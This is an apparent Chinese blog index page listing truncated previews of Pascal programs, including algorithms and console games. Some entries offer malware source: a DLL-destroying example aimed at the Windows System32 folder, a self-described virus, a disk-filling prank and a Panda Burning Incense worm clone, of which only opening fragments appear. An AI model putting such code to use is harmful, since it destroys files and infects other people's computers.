基本算法 这些都是非常基本的的算法,希望所有学习的人都能理解! 1.数论算法 求两数的最大公约数 function gcd(a,b:integer):integer; begin if b=0 then gcd:=a else gcd:=gcd (b,a mod b); end ; 求两数的最小公倍...
分类:
其他好文 时间:
2014-07-16 19:35:42
阅读次数:
665
运用Pascal来破坏DLL文件的一个实例关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。Uses Dos; {调用DOS库}Const Root='C:\Windows\System32\'; {定位文件}var vir:array [1..6] of s...
分类:
其他好文 时间:
2014-07-16 19:34:45
阅读次数:
199
一个很经典的井字棋游戏 Pascal源码Chaobs奉上注意:1.有的FP版本不支持汉语,将会出现乱码。2.别想赢电脑了,平手不错了。井字过三关:program TicTacToe;uses crt;vara:Array [1..3] of Array [1..3] of char;b:Array ...
分类:
其他好文 时间:
2014-07-16 19:34:37
阅读次数:
353
俄罗斯方块已经成为了和“Hello World”一样的程序了吧?不要直接复制,可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26...
分类:
其他好文 时间:
2014-07-16 19:33:58
阅读次数:
221
{ Happy Birthday (c) 1998 WoRmI don't take responsibility for any damage caused by this virus.It was made for EDUCATIONAL USE ONLY.AVs : No detectionS...
分类:
其他好文 时间:
2014-07-16 19:31:39
阅读次数:
258
Pascal吧友作品 一个小RPGChaobs转载varplife,plifemax,patt,pre:integer;gr,ex,exmax:integer;alife,alife1,aatt,are:integer;name,fname:string;na:text;code,co:string...
分类:
其他好文 时间:
2014-07-16 19:31:32
阅读次数:
305
一个双人的游戏 Pascal源码附上只要俩人不脑残,一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
分类:
其他好文 时间:
2014-07-14 10:19:56
阅读次数:
322
用二分法求在(a,b)上单调的函数近似值第八行的表达式可更改,第三行的kexi决定的精度,小数值计算可将第五行的extended更为real或doublePROGRAM EQUANTION (input,output);CONST kexi=0.0000001;VAR a,b,c:extended;...
分类:
其他好文 时间:
2014-07-14 10:17:21
阅读次数:
157
一个整人的Pascal小程序运行之后硬盘里面会有一大堆垃圾,当然更好的方法当然不是这样做!var a,b,c,d:char;beginfor a:='0' to '9' dofor b:='0' to '9' dofor c:='0' to '9' dofor d:='0' to '9' dobeg...
分类:
其他好文 时间:
2014-07-14 10:16:09
阅读次数:
159
Pascal仿熊猫烧香病毒,慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /...
分类:
其他好文 时间:
2014-07-14 10:15:24
阅读次数:
244